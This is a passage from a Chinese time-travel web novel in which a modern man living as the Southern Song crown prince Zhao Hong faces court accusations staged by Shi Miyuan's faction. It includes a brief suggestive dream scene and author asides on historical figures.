宋宇忙招呼两人饮酒,推杯换盏之间,宋宇醉醺醺的指着余阶和刘克庄说道“;其实我们三人,皆是真德秀的学生。”
说完看着又惊又喜的俩人,哈哈大笑。
宋宇收了两个助力,心中满是欢喜,本来已喝了不少的他,这次是彻底刹不住了。
最后怎么回到太子府床上的,他都不知道。穿越的第一日,便在这匆忙与惊喜叠加中,结束了。
再次醒来,宋宇发现自己回到了穿越前的出租屋。那老旧的墙皮,昏暗的楼道老灯,以及空气中那种宋宇熟悉无比的,潮湿发霉的味道。无不在述说着这间出租屋的年代久远。
紧走几步,宋宇打开出租屋的门,映入眼帘的,却是女友肖娜坐在自己那张单人床上。
屋内灯光柔和,肖娜身着淡粉色睡衣,以一种十分勾人心魄的坐姿,对着宋宇笑。
宋宇看到是肖娜,面上露出愤怒神色“:是你?你是怎么来到我的房间的?我从来没带你来过这里。”
看到宋宇发脾气,肖娜并未生气,对着宋宇招了招手,以一种十分魅惑的语气对着宋宇说道“:呦!当了太子了,就开始对着人家发脾气了?”
宋宇听肖娜喊自己太子,赶忙对着自己身上打量,就见那身太子袍在灯光的映照下,十分夺目。
宋宇暗道:这是怎么回事?我不是回来了吗?
宋宇懵了,肖娜却继续说道“:你那娇滴滴的小小姑娘,没我漂亮吧?”
说到这,肖娜撩起睡衣,露出那穿着黑丝的,诱人的双腿“:古代可没这东西吧?”
宋宇恼怒的说道“:这里不欢迎你,给老子滚!”
肖娜一脸坏笑的看着宋宇“:这人活一世,无非为了钱和地位罢了。当初你我之所以会走到那种境地,无非因为你没钱没地位。现在不同了,钱和地位你都有了。”
突兀的,肖娜解开了睡衣,露出那诱人的胴体“:小子,今晚我只属于你!”
“:钱和地位,在你眼里就那么重要?”
“:没钱会饿死,没地位会被人瞧不起。这么简单的道理,还用我来讲给你听吗?”
宋宇见话不投机半句多,直接转身推开了出租屋的门“:我天生愚钝,没有你那么多追求!我只想娶个媳妇生个娃,安安稳稳的度过这平凡的一生,至于太子什么的身份,从没奢望过。至于对待女人,我还不至于饥不择食到什么玩应都要。”
发泄完,还不解气,直接甩出几句诗:
你我本是云烟客,
何必贪恋红尘风。
花开花谢逐流水,
日升月落梦已醒。
肖娜生气了,朱唇咬的酱紫“:老娘白白便宜你都不要,**。去找你的小小姑娘吧..你们两个,不会有好下场的。”
却在这时,急速的呼喊声在宋宇耳边响起“殿下,醒醒。到时辰上朝啦...”
宋宇熟睡之中,被这突兀的喊叫声吵醒,猛然睁开眼。待看清来人是程保后,长舒一口气:究竟哪个才是梦境?
不过作为从小孤儿的他,并没有赖床的习惯。为啥?因为他没有依靠。一个无依无靠的人,做什么事都要自己解决。
可今日宋宇是真想赖床,昨夜喝的酒,酒气都还没消退。脑袋有些胀疼。
但一想到自己还有很多事要做,便强行坐了起来,冲着喊自己的程保问了句“:几点了?”
这一问,立马又感觉不对,古代应该是说时辰吧,打了个激灵,慌忙改口道“:什么时辰了?”
程保没心没肺的,以为太子刚睡醒,说胡话呢,也没在意“:殿下,五更天了,您可一年多不上朝了,今日早点去,也好给传殿下流言的大臣们提个醒。”
听到这,宋宇叹了口气,这太子竟然一年多不上朝了,哎!有的人天生富贵,却待之如敝履。
有人起早贪黑,却只为温饱奔忙。命啊!有趣。
“:麻蛋,昨天喝大了,本殿下是怎么回来的都记不得了。诶?你昨天被打的黑眼圈还没消呢?”
程保是个急性子,慌忙说道“:殿下,您可快点吧,马都备好了。”
“:昂!啊?骑马?”宋宇刚应声,又觉得不对。惊叫出声。
“:是啊,您上朝不都是骑马吗?”程保答道。
“:今日不骑了,赶紧备车。”宋宇敦促程保。
“:喏,这就给您换车去,殿下您也快点起身。”程保留下一句话,飞也似的跑了出去。
边跑,也不知跟谁在说话“:殿下起身了,都赶紧的。你们几个,去备车。”
紧接着,国公府里的几位侍女,捧着朝服朝靴走了进来,跪到地上齐齐说道“:请殿下更衣。”
宋宇哪享受过这个?慌忙跳下床“:几位姑娘,快快请起。把衣服放这,退出去吧,本殿下自己穿。”
虽然这具身体明显不是处男了,可让一群姑娘围观...实在是耽误正事。
也不知这群侍女,是听话,还是真不喜见光屁股宋宇。领命纷纷走了出去。
宋宇见人都出去后,赶忙换衣服,可翻着衣服看了看,又犯了愁,这踏马的一块块的布条,怎么弄?
也难怪宋宇开骂,相比于昨天穿的衣服,今天的朝服零碎了许多。
他在屋里着急,外边又传来说话的声音“:你们不伺候殿下更衣,都傻站在这干嘛?”
众侍女赶紧解释“:殿下不让,将我们赶出来了。”
接着挑动珠帘的声
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音传来,宋宇在这穿衣服急得满头大汗,提着穿了一半的裤子喊道“:谁啊?”
“;奴家小小。”小小半挑珠帘,停下脚步回答道。
宋宇心想上朝要紧,这衣服自己还真玩不转啊,不如让小小过来,反正她该看的也都看过了,咱也不算吃亏“:进来吧,帮本殿下将这衣服穿上。”宋宇急切的回应小小道。
小小用衣袖掩着脸,走入房内。看到宋宇提着裤子站在地上,想笑又不敢笑。
宋宇看见站在原地不动,赶紧跟她招手“:快些,上朝要来不及了。”
小小强压笑意,上前两步,帮宋宇忙活起来,宋宇刚才找了半天,找不到腰带,小小来了。
三下五除二帮宋宇系上了腰带,又将上衣一件件穿好。戴上白玉太子冠,穿上纹龙踏云靴,披上锦绣龙纹袍。
一通折腾下来,宋宇看得眼花缭乱,感情这腰带,都是从后边系上。
宋宇摸着金龙腰带,穿好后,跳了两下,不松不紧,正好。
在小小递上来的铜镜里照了照,只见里面的自己,比昨日更是英武了几分。
只是这套太子袍,衣袖比昨日的,还要宽大,双手下垂的话,几乎快要接触地面了。
小小拍了拍手,外面应声走进几位侍女,端着脸盆,拿着毛巾。宋宇在铜盆里随意洗了把脸,拿毛巾将脸擦干,转身回头对小小说道“:本殿下上朝去了,多谢小小姑娘帮忙。”说完大踏步走出了房门。
出了屋门,见屋外面早已站满了人,其中昨天自己结交的几位兄弟也在。
见到自己出来,刘克庄带头就要行礼。宋宇慌忙打住他们“:都是自家兄弟,哪来那么多礼数?”
众人听了,便停了礼数,余阶上前两步嘱咐道“;殿下,今日小弟不在身边,殿下可要事事详思,毕竟现在朝中皆是那人党羽,事不关己之时,沉默便是。莫要引火烧身。”
宋宇拍了拍他肩膀“;多谢兄弟提醒,竑自当低调行事。”
还要说两句,程保满头大汗的跑过来“;殿下,车备好了,快些吧.”宋宇见此,和众位兄弟道了别,随程保向门口走去。
天才蒙蒙亮,南方天气潮湿,薄雾飘荡在街巷之中还未散去,层层薄雾笼罩下,让御街又多了几分神韵。笔直的道路,飘散的雾气,路上极少的行人,让整辆马车仿佛是行走在云端天宫一般。
宋宇坐在车上一路急行,赶到了皇宫正门,丽正门外。将马车交于程保,宋宇独自一人向垂拱殿走去。
宋宇一边走,一边庆幸,还好自己昨天闲聊天似的详细问了真德秀这上朝的规矩,路径。
以至于现在不必乱了阵脚。真德秀还真爽快,除了偶尔拽个听不太懂的词,真是知无不言,言无不尽。
历史人物传:杨辉,南宋数学家,教育家。改进了乘除加减算法,总结了一种更为快捷的算法捷径。可惜算学并不为当时世俗所看重。一生只是一个地方官员,但其一生却是以廉洁奉公为底线。
第十四回 上朝菜市场 吵架哪家强
等宋宇走进内宫门,两侧道旁已经站满了甲士,一路延伸至上朝处。宋宇加快步伐,向前赶去。
一路急行,赶到了大臣们平日上朝前集合的垂拱殿外。此时已经有几位大臣先到了。
宋宇放缓脚步,独自走到一个人少的角落,昂首挺胸的站好。也不理会那几人扎堆在议论什么。
渐渐地人多了起来,宋宇身边也开始**起一些皇族的成员。
说实话,宋宇在这些人里算是辈份低的,剩下的都是些叔叔大爷辈的。而且都还不是近亲,因为这南宋的皇帝个个都像是中了诅咒,生娃不给力。前有靖康之耻,一大批宗室成员被金人掳走,现在剩下的这些皇室成员,都是劫后余生。
像自己就是因为宁宗无子,才坐上太子之位的。可见大宋皇室人丁何其单薄。
看到太子破天荒的上朝了,多数大臣都向宋宇投来看怪物似的目光,可又没人敢上前傻啦吧唧的去问。
只是在一旁窃窃私语。宋宇也懒得搭理他们,和那几个叔叔大爷的打了招呼,行了礼,继续沉默。
直到真德秀领着一位约莫四十来岁,身穿紫色官服之人来到宋宇面前介绍道“:殿下,这位是工部侍郎乔行简,乔大人,为人中直,是我大宋不可多得的贤才。”
乔行简向宋宇施了一礼“:下官乔行简,见过太子殿下。”
宋宇打量着面前这位乔大人,只见他头戴翅冠,皮肤稍黑,本来年纪不大的他,却早早的有几条皱纹生在了额头。
再加上刻意留的山羊胡子,看起来老成持重,却又不失一股傲气。宋宇劝过乔行简礼数,便和这两人攀谈起来。
也不知过了多久,其中有一位官员可能是耐不住性子了,大声说道“:看来今日这朝会又要取消了。”
周围的官员虽然都没附和,不过也都露出赞同的表情。但马上有个大胖子站出来高声说道“:今日定有朝会,莫要妄论当今圣上。”
宋宇看到此人,觉得好笑,就这身膘,得刮了多少民脂民膏啊?
真德秀却在一旁小声提醒道“;殿下,看来这史弥远好像知道今日朝会不会取消。”
什么?这是史弥远!看到是要自己命的人,宋宇仔细打量起此人来。
只见这史弥远约莫四十多岁,一身肥肉,脸上也是横肉丛生,就跟东瀛的相扑似的。
脸上那些横肉,甚至长得都要将五官朝中间挤了。活脱脱一个人脸包子。宋宇不禁啧啧称奇:就这身肉,少说得三百来斤吧?
就是董卓再生,估计也得靠边站。就在这时,三声鞭响,內侍传旨上朝之声此起彼伏。
众大臣赶紧按自己的位置站好。宋宇也告别了真德秀两人,站到最前排的皇族那列。(由于是太子,所以宋宇领头)
宋宇出于好奇,四下张望,就见仅文臣一列便站了四排,武将与皇族只是俩不满编的小队伍。看来这宋朝重文轻武还真不是浪得虚名。
直到站的最近的内侍喊完最后一句上朝,众位大臣们才在领头的大臣带领下,缓缓走入垂拱殿。
走入大殿,跪拜三呼万岁之后。宝座上的宁宗无精打采的说道“:众爱卿平身,今日六参朝会,有事早早奏来。”
宋宇随着众位大臣一同起身,抬起头看着这位在历史上无比窝囊的宁宗皇帝。
嘿,真别说,就这半死不活的样,还真符合宋朝皇帝的形象。
只见这宝座上的宁宗皇帝,头戴金玉帝王冠,身披五爪金龙袍。行头上没得说,真像皇帝。
可就是状态令人不甚满意,虽然长得一副老实忠厚样,却好似故意双眉低垂,两眼耸拉,一脸不耐烦的样子,就像大病初愈似的。
宋宇在这跟看猴似的看得兴起,后边却有位大臣站出班列禀奏道“:陛下,蒙古使者想要面圣,商讨共同对付金国之事。”
宁宗无精打采的说道“:上次不是商议过此事了吗?将蒙古使者驱逐出境。若让他看到我大宋境地之富饶,灭金之后,岂不就轮到我大宋了?”
宋宇一口气差点憋不住笑出来。就凭这句话,这宁宗皇帝对外面世界的了解,可以说是过家家的程度。
想那成吉思汗一代天骄,西征之后,更是富土**,什么场面没见过?会稀罕你这半壁江山?
话说一向自尊心极重的铁木真,朝你这大宋派个使者,还被赶出去了。这波仇恨拉的可以。
你说你要么就联合,要么就不联合。赶出去是几个意思?这不是扇自尊心极强的铁木真俩耳瓜子么?
但宋宇也不想扯点什么,毕竟现在自己不是皇帝,你们好好玩。只要不玩的国家没了就好。
宋宇不说,不代表别人不说话,乔行简站出来,一拱手说道“:陛下,蒙古使者远道而来,毕竟是客,不如招来临安商讨一番,也不使我大宋失了礼数。”
他这里刚说完,史弥远党羽立马开始了反驳,其中吏部尚书聂子述首先发言“;公等岂都忘了当年“海上之盟”了吗?”
刑部尚书赵汝述也站出来反对道“;陛下,史相不放蒙古使者入境,实是为了我大宋朝的社稷着想啊。这乔行简分明是醉翁之意不在酒。意图借题发挥,攻击史相。”
这俩人一起头,剩下的史弥远党羽群起而攻之,甚至有**呼,乔行简迂腐误国,当诛之。
宋宇看着这跟菜市场一样的场景,暗自苦笑。
龙座上的宁宗更是一个头两个大,本来今天打算装病,结果杨皇后早早便来找自己,说是今个上朝有好戏看。
得,好戏没看到,这群人争得脸红脖子粗倒是看到了。
扭了扭酸疼的脖子,宁宗皇帝强提了提精神,大声说道“;诸位爱卿,安静,此乃大殿之上,如此吵闹成何体统?”
宁宗这句话还真压得住场子,下边马上安静了下来,宁宗见都安静了,才
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继续无精打采有气无力地说道“:此事全按史爱卿之言办,别人勿要再议,违者,以罪论之。”
下边众大臣都“喏”了一声,站回了原位,宋宇一直在偷偷观察乔行简,心想这乔侍郎还真不是白给的,官不大,气势大。
如此多的顶头上司都在轮番的指责他,他倒好,眼一闭,就这么雷打不动的站着。仿佛此事与他无关。
宁宗继续说道“:众位爱卿,今日若没事了,就散了吧,朕也累了。”
宋宇一听他累了,要散会,顿时满脑袋黑线。这才到哪啊?昨天和真德秀商讨的事还没办呢。
但看真德秀依然没有要动手的意思,自己也不想出这个头。
就在宁宗皇帝以为今天不会再有什么要紧事的时候,一个颤巍巍的老头战出了队伍,哆哆嗦嗦的说道“:圣上,臣这里有件事,干系重大,还请圣上定夺。”
宁宗定睛一看此人,有些好奇的问道“:不知王爱卿有何事处理不了?还要让朕亲自做主?”
不错,此人便是临安府尹王俞,史弥远**终于动手了,只见王俞像个刚吃完饭的老头那样,哼哧两声,缓缓说道“;老臣所奏之事,乃是关于我朝太子殿下的,不知当讲不当讲?”
宋宇一听,关于我的?我一准宅男,能有什么事?
难道前太子**被抓过?生活作风问题?既然是针对自己来的,那余阶临行前的吩咐就可以省略了。
人不犯我,我不犯人,人若犯我,我不饶人,宋宇就是这心态。
还未等宁宗开口,宋宇站出来,向龙座上的宁宗施了一礼,然后回过头来对着王俞问道“:王大人,不知道我赵竑在哪里触犯了大宋的律法,以致要到这朝堂上来请示我父皇做主?”
宋宇这里一站出来,王俞那里就是一哆嗦,怎的?太子今日上朝了?
说实话,这王俞老眼昏花,还真没瞧见宋宇来了,史弥远他们一伙又不信任这老家伙,干脆没给他提醒,就是要他得罪宋宇,好死心塌地的给自己效命。
王俞现在可谓是骑虎难下,心想这下可糟了,本来自己几十年来井水不犯河水,做事向来谨小慎微。对于党派之争,也是能装糊涂就装糊涂。
历史解析:关于宋朝皇室的服饰,不想过多纠结,有说炎宋,都是大红色龙袍,有说白衣印花龙纹袍。想来想去,还是白色符合白富美的标准,所以全都白色了。
历史名词解析:“海上之盟”其实事情很简单,宋徽宗看金国灭辽那叫一个摧枯拉朽,抢了辽国无数财宝美女城池,一时眼红,便派了使臣从海路到了金国上京,商讨共同灭辽之事。还许诺只要幽云地区。并且将每年给辽的孝敬全都给金国。有这便宜事,金国当然答应了。结果金国将辽的国土全都打下来了。徽宗派童贯就打一个州,还被打得屁滚尿流。金国看宋朝如此孱弱,在不灭你,那他就是傻子。
第十五回 上朝菜市场 吵架哪家强(贰}
熟料,老了老了,阴沟里翻了船。在心里长叹了一口气,心一横,罢了,宁可得罪天下,也不能得罪史相,老朽今日豁出去了。
想到此,王俞颤巍巍向前一步言之凿凿的说道“:昨晚在丰乐楼,太子殿下当着满楼宾客的面,公然朗诵反诗“题临安壁”,视我大宋高皇帝法令于不顾,老臣不敢定夺,还请圣上做主。”
这次宋宇不说话了,因为这事真是自己干的。话说史弥远**耳朵真灵,自己昨晚发生的事,他们一清二楚。
可又一想,小小当时就跟在自己身边,会不会是这丫头通风报信?昨晚喝多了,这丫头是不是通风报信,还真没瞅见。看来以后得多长个心眼,盯好这丫头了。
宁宗依旧是一副不耐烦的样子“:皇儿?可有此事?”
宋宇面不改色,挺胸说道“:确有此事。”
宁宗有些痛心的说道“:哎呀,皇儿糊涂啊,这首诗乃是当年先祖高皇帝严令的反诗,你公然朗诵,岂不坏了先帝的法令?罚你去太庙给高皇帝上香请罪,你可愿意?”
宋宇砸吧砸吧嘴,看来宁宗没把自己当外人,这要是普通老百姓朗诵反诗,脑袋这会估计该搬家了。
“:儿臣愿意。”宋宇赶忙答应,生怕再出什么变故,心想:见好就收吧,上个香,又死不了人,虽然自己不喜欢赵构那窝囊废,但人在屋檐下,不得不低头。
哪知宋宇父子俩这里将这件事草草了结,史弥远党羽不服了。
监察御史李之孝跳出来反对道“:圣上,殿下乃是国之储君,圣人言“天子犯法,与庶民同罪。如此草草了事,恐失天下黎民百姓之心啊。”
宋宇听他如此说,心中怒火一起,这蠢东西,想要把事情搞大。刚想发怒,自己的老师真德秀先站了出来。
只见真德秀怒视李之孝,大声说道“:李之孝,你也知道殿下是国之储君?圣上既然已经做出判决,你又何故苦苦相逼?难道你想以谋反罪,将殿下置于死地吗?”
李之孝看真德秀如此说自己,心中也是恼怒万分,可这真德秀说的还真是让自己无法反驳。
甚至还朝自己身上泼脏水,说自己想要谋害太子,这可是掉脑袋的事,只见这李之孝故作惊恐,跪在地上“;圣上,微臣一向忠心耿耿,所思所想,全是为了我大宋社稷啊。臣对天发誓,绝无半点私心。”
说完还装模作样的,抹了一把鼻涕。
宋宇看这小子一把鼻涕一把泪的,跪在地上给自己演戏,这气就不打一处来,恶狠狠的说道“:李大人,你口口声声说为大宋社稷着想,那请问李大人,这社稷何人做主?”
李之孝恬不知耻的言道“:当然是圣上了。”
宋宇心里暗自高兴,继续引导李之孝说道“:那敢问李大人,所谓反诗,反的何人?”
李之孝还没听出宋宇话里的弦外之音,依旧跪在地上表白道“:当然是反的圣上了。”
这话刚一出口,李之孝猛然醒过味来,可话已出口,如何收得回来?
宋宇在心里暗骂了声蠢货,调笑着对李说道“:那依李大人之意,本殿下身为国之储君,若反自己,该当何罪呢?”
此时跪在地上的李之孝,满脑门都是汗,身上的衣服更是被汗水浸透。不停的用衣袖擦着汗水。
支支吾吾着,连话都说不清了。如此丑态,顿时令朝堂之上传出一片哄笑之声。
在宋宇身后站着的,一个老王爷往前挪了一步,调笑着用一口地道河南口音问道“:诶,俺说你李大人快说啊?俺们皇家反自己,到底是个啥罪名?”
听到身后这位也不知是叔叔,还是大爷的。用一口地道的河南口音问话,宋宇差点没憋不住笑出来。
费了好大劲,才将笑意憋回去,不过宋宇突然在脑海里有了一个搞怪的念头,跟我在这演戏?
爷们的遭遇,可不是你们这帮养尊处优的大人们所能比的。
如此想着,宋宇突然跪在了地上,深呼吸一口,挤出了两滴眼泪,故作嘶哑的说道“:父皇,竑儿昨夜在丰乐楼饮酒,不知怎的,便想起一人来。”
宁宗但见宋宇表情真挚,关心的问道“;皇儿这是想起谁来了?怎生刚才还好好的。现在却如此伤心?有事起来说。父皇已经不怪罪你了。”
宋宇听到宁宗劝自己,并不为所动,反倒愈加哭得伤心“:竑儿昨夜饮酒,于半醉半醒之际,忽然想起高皇帝当年,也时常来这丰乐楼饮酒,不禁触景伤情,想起他老人家在此禁诗之事,一时伤感,脱口将此诗念出,实属无意啊。”
说完伏地嚎啕大哭,其状甚是伤心。周围甚至有大臣和一些皇室成员跟着偷偷抹眼泪。
龙座上的宁宗也黯然神伤,双眼不自觉的流出两行浊泪。慢慢从龙座上站起,在内侍的搀扶下,走到宋宇面前,突兀的摆脱了内侍的搀扶,微微弯腰,将地上哭的稀里哗啦的宋宇搀起。
一脸忧伤的看着一脸鼻涕眼泪的宋宇,声音有些颤抖的说道“;竑儿能不忘先帝言行,朕心甚慰,想当年先帝泥马渡江,方才保住我赵氏最后一点血脉,实是功不可没。竑儿能不忘祖宗守业之艰辛,实是我赵家皇室大幸。”说完,从怀中取出手帕,帮宋宇擦起眼泪来。
宋宇本来是演演戏,玩玩,哪知假戏真做,竟然把宁宗感动的帮自己擦眼泪。
不自觉的这心里竟浮起一丝自责,夹杂在自责中的,仿佛还有宋宇很久以前便失去的父爱所带来的温馨感。
此时此刻,在这临安金殿内,落针可闻,所有大臣都屏住呼吸,看着慈祥的宁宗帮太子擦拭着满脸的泪水。
而宋宇,一言不发的注视着宁宗,心里百感交集,直到宁宗在内侍的搀扶下,重新坐回了龙椅之上,宋宇才回过神来。
此时的他,心里有些小激动,想不到我一个农村娃,意外来到了这千年之前,竟然让九五至尊的帝王为我,擦眼泪...
宁宗坐回龙椅上,环
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视一周大臣,最后将目光停在了临安知府王俞身上,此时的宁宗,一改病殃殃的模样,厉声说道“:王知府,你可还有话要说?”
王俞见平时无精打采的宁宗突然发起火来,立马跪在地上哆嗦成了一团“:老臣,老臣。”
结巴了两声,突然想起史弥远还有一件事交给自己,就像抓住了一根救命稻草,慌忙禀报道“:老臣有事,老臣有事。只是,此事事关重大,老臣不敢说。”
宁宗右臂一摆,指着王俞恨恨说道“;老顽固,事到临头,还不知悔改?”
宋宇看到宁宗为自己出头,心里顿觉一暖,此时的他,突然冒出一个奇怪的想法,这皇帝老爹,有事是真上啊!
看到平日糊里糊涂的宁宗暴跳如雷,史弥远再也按耐不住了,心里早已将李之孝和王俞的祖宗十八代问候了千百遍:俩个成事不足败事有余的东西,搂钱的时候比谁都精明,遇到正事了,一个比一个废物。
史弥远强压心头怒火,微微向前迈了一步“:臣,史弥远,还望圣上息怒。”
宁宗看到史弥远站了出来,心里顿时觉得****的,本来散发的皇威,也慢慢的收拢了起来。
语气温柔的问道“:史爱卿有何事?”
要说这宁宗身为皇帝为何会怕一个大臣?说起来倒也简单,自从史弥远不听宁宗诏令,在玉津园用棍子砸死韩侂胄之后,宁宗便从内心里不自然的对史弥远产生了恐惧。
史弥远抖了一抖身上的肥肉,目无表情的说道“:圣上,臣闻贤明之主能广纳百言,昏庸之主,惧人直言,还望圣上念在王知府为我大宋服务30余年的份上,听他把话讲完。”
言毕,史弥远镇定自若地站回了自己的位置上。好像这件事和自己没有半点关系。
宁宗用右手揉了揉额头,左手朝王俞挥了挥“:王知府,既然史爱卿为你求情,有何事,便快说吧,但若是说不出个所以然来,别怪朕无情。”
王俞如蒙大赦,颤巍巍的说道“:多谢圣上,多谢史相。”
宁宗不耐烦的一摆手,也没搭理他,史弥远则是翻了翻白眼,看**似的看着他。
王俞讨了个没趣,继续说道“:昨日申时,在御街不远处的一条小巷之内,当朝丞相史弥远的公子史施德被人袭击,打成重伤,现在仍然不省人事,老臣接到报案,赶到案发现场时,早已人去楼空。无奈,便仔细查探附近人家,功夫不负有心人,终于找到几个证人,不过,不过。”
历史人物志:李之孝,监察御史,史弥远努力栽培的党羽,史弥远可以军政大权一手抓,架空宋朝皇帝,此人可谓功不可没,监察御史,说白了就是专门向皇帝打小报告的,谁谁干得不好,谁谁没政绩,可史弥远却将其掌握在自己手中,专门**反对自己之人,可以说,史弥远开启了权臣的新时代,自史弥远之后,监察御史这一职务,彻底沦为宋朝后期,权臣用来打压政敌的手中玩物。
第十六回 上朝菜市场 吵架哪家强 (叁)
宁宗看到这王俞说到此处顿住了,扭过头来询问史弥远道“:史爱卿,王知府所言属实?”
史弥远再次出列,面色如常,仿佛受伤的不是他儿子似的回答道“;确有此事,现今犬子仍然重伤昏迷。”
宁宗面上显现出关切的神色“:哎呀,史爱卿,如此大事,怎的不早些禀报。是谁人如此大胆,竟敢重伤当朝宰相的公子?”
史弥远脸上浮现无奈神色“:臣本想详查,可听到府内小厮回报此人身份后,心中惊惧,思虑再三,便想将此事压下,毕竟事关我大宋朝的脸面,臣只好将所有苦楚咽进肚里了。”
话到此,史弥远痛苦的挤出两滴眼泪,没有再继续讲下去。
宁宗看史弥远如此模样,不知是计。安慰史弥远道“;史爱卿为国操劳,劳苦功高。到底是什么样的猖狂之徒,光天化日行凶?此事朕替史爱卿做主了,即使是皇亲国戚,当朝重臣,朕也一定要法办,给史爱卿一个交代。”
史弥远眼见宁宗中招了,心中暗暗窃喜。不过脸上依旧是一脸痛苦加无奈的样子。
宋宇看史弥远这演戏的功夫丝毫不亚于自己,气不打一处来:麻蛋,比本太子还会演。大胖子挺有种啊。
其实宋宇在王俞一提此事之时,心里就暗道不好,自己昨天总共就做了两件事,还全踏马出事了。
怪不得前太子宁愿在家里金屋藏娇,弹琴胡闹,也不愿意出来溜溜呢。这一出来,全踏马是事啊...
话说你这前太子非得在卧底小小面前说史弥远的坏话干嘛?现在这个局面,你前太子有一半的责任。
宋宇这里边骂前太子,边埋头苦思拆招之策,龙座上的宁宗却开口了“;王知府,临安乃是你管辖之地,在你所辖之地,当朝宰相之子被人重伤,你为何不赶紧将恶徒名字报来?”
王俞见宁宗有些动怒,心里暗喜:看来今天这件事,能成“:圣上,非是老臣之错,实是重伤宰相公子之人,乃是当朝权贵啊。”
一听他这么说,一屋子官员,不管是否知道此事,全都看向了王俞,龙座上的宁宗怒气冲冲的说道“:朕刚才已经说了,不管何人,皆以大宋律法问罪。现在你赶紧将事情本末详细说来。”
王俞看宁宗真急了,不敢再卖官司,满脸无奈的答道“;昨日申时,本府接到百姓举报,说是御街旁的一条胡同中发生了斗殴,本府不敢怠慢,赶紧安排手下人等前去事发地。可赶到时,早已人去楼空,府中衙役多方查探,终于找到两位案发时的百姓。不过两人皆已重伤。据这两位百姓描述,他二人当时刚从御街买完东西回家,行至案发地时,忽然听到有人调戏民女之声,一时气愤,赶去救人。赶到时,只见现场已有一人倒地,两名弱小女子被十数凶徒逼于墙角,欲要施暴,而且凶徒皆是官军打扮。两人见是官军,不敢招惹,转身就要逃跑。却听身后一官军喊道“;太子殿下,那边有两个百姓。”
又见其中一全身白袍白冠之人急忙喊道“:莫要跑了二人。”
顿时官军一拥而上,将两个百姓打成了重伤。幸得周围百姓赶到,吓跑了施暴之人,两人才免于一死。”
此事一说完,金殿里顿时炸了锅,议论声骤起。宋宇更是一脑袋黑线。
却在这时,宋宇身后突兀的传来一口河南话的小声询问“:俺说太子啊,你咋就这糊涂内?咱啥样的娘们没见过?你说呢去大街上找个什么刺激啊?以后咱可别再干这刺激事咧,缺娘们了,去皇叔那,皇叔那多了去咧。金发碧眼地外国妮子咱那都有。”
宋宇听到皇叔安慰自己的话语,捂着脑门这个愁啊,这踏马的压根就不是自己干的。
对方摆明了是给自己泼脏水,可就这脏水,还就真没办法躲开。为啥?满朝廷都是史弥远的人,自己一个人嗓门再大,有个屁用?
想到这里,宋宇不禁后悔起昨天救那个狗爷了,可仔细一想,史弥远权焰熏天,即使你不告诉他,他也能查到,就算查不到,还是会扣在自己身上。
谁让你赵竑出门了呢?思来想去,现在的朝廷还真就没有人可以救自己,要说没有,也不绝对,还剩一个真德秀,可自己跟真德秀的关系太微妙了,他若明着保自己,十有**会被拖下水一起淹死。
要是有个会断案,又刚正不阿的人来处理自己这件事就好了。
想到断案,宋宇倒是想起一个人来,那就是法医学鼻祖,宋慈。可仔细一想,这宋慈现在恐怕还没当官吧?应该还在家读圣贤书呢。你说他要是早生几年多好?
宁宗见宋宇脸色青紫,十分紧张。脸上却并未露出责备之色。反而转过头去问起王俞来“;王知府,要知道污蔑太子,可是死罪,如此重大之事,你可有证人?”
王俞跪着向前蹭了两步,慌忙答道“:有,有,昨日被打的两位百姓,正候在丽正门外,而且。”
说到这里,王俞用眼神瞟了一眼史弥远,弱弱答道“:而且史相也愿作证人。”
宁宗转过头来,问史弥远道“:史爱卿可愿作证人?”
史弥远听到王俞祸水东引,心里这个气哪。心想这老混蛋成事不足败事有余。你和宁宗互相撕咬,我史弥远临阵指挥就好。现在把我史弥远拉出来做证人,摆明了不是告诉在场所有人,这件事,我史弥远也有份吗?
可事已至此,宁宗既然问了,史弥远只好一拱手说道“;既然王知府已将此事昭然天下,臣只好僭越了,愿做本案的证人。”
宁宗见史弥远如此说了,回头对王俞命令道“:既然史相也愿做证人,王知府,传那两位百姓上朝堂来吧。”
不多时,两个证人在侍卫的带领下来到了朝堂之上。不过不是走上来的,其中一人是被担架抬上来的,浑身上下缠满了绷带。
宋宇仔细看了看,也看不到相貌。另一人倒没
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那么严重,拄着拐杖,在侍卫搀扶下单腿跳进来的。
宋宇又仔细看了看跳进来这人,压根就踏马不认识,没见过。
顿时心中一股无名火起,恶狠狠地瞪了一眼跪在地上的王俞。
王俞正好也抬起头来,两条目光对视,王俞心头一颤,赶紧用袖子擦了擦额头的汗水,又将头低了下去。
两人进来三呼万岁,其中拄着拐杖那人就要下拜。宁宗看他伤得如此之重,赶紧制止。
待开口要问两人详细经过时,一旁的宋宇抢先开口了“:两位百姓,昨日打伤你二人的太子,也在这朝堂之上。何不当面指出此人?”
担架上的,明显不能起身。所以只能由一条腿的来回答了。
只见此人是满头大汗,支支吾吾了半天也说不出个所以然来。
顿时憋的是满脸通红,心里更是无比悔恨。自己本来是个**犯。昨日这王知府说能让自己活命。不过要演一场戏。
可谁曾想到,是要面圣啊?面圣也就算了,这第一道问题自己就不会,谁几把知道太子长什么模样?
宋宇看此人支支吾吾,心中暗喜。看来自己的急中生智起效了。
哪知就在此时,一道不和谐的声音传来“:太子殿下,想必这二人是初次面圣,一时心慌,也是情有可原。不如先让他二人讲讲昨日的经过吧。”
宋宇眼神一冷,冲声音传来的方向看去,好啊,原来是你。
此人不是别人,正是殿前都指挥使,夏镇。
宋宇紧咬牙关,冲夏镇冷冷说道“:夏殿帅还真会挑时候说话。”
夏镇将双手一拱,皮笑肉不笑的说道“:多谢太子殿下夸奖。”
说完站回自己的位置,表情轻蔑,不再搭理宋宇。
看他如此无视自己,宋宇心里恨不得将这人剥皮抽筋。奈何此人背后是史弥远,自己无兵无权,还真是拿他毫无办法。
只好眼看着自己的计划落空,无奈之下,宋宇只好将目标转回宁宗身上,将手一拱,强压心中怒火,缓缓对宁宗说道“:父皇,此事并非如王知府所言,在儿臣这里,却有另一番说辞。”说完严肃的盯着宁宗。
宁宗依旧没有责怪宋宇的意思,满面笑容的看着宋宇,像慈父般的说道“:皇儿有话,尽可当着满朝文武的面讲来,父皇绝对不会错怪你。”
看宁宗并没有因为此事大怒,宋宇的心里有一丝丝感动。庆幸这宁宗是站在自己一边的。
什么时候,皇上不表态,意思就很明显了。不过这件事若不弄个水落石出,恐怕自己父子两个,今天还真的难以脱身了。
想到此,宋宇梳理了下事情的经过,不急不慢的将昨日遭遇讲了出来。不过他却将谢道清和陈达的名字故意不提。
因为宋宇知道,在这个时代,姑娘们的名节,可是比生命还重要。宋宇可不想因此害了谢姑娘。
至于陈达,宋宇并不想过早曝光他。
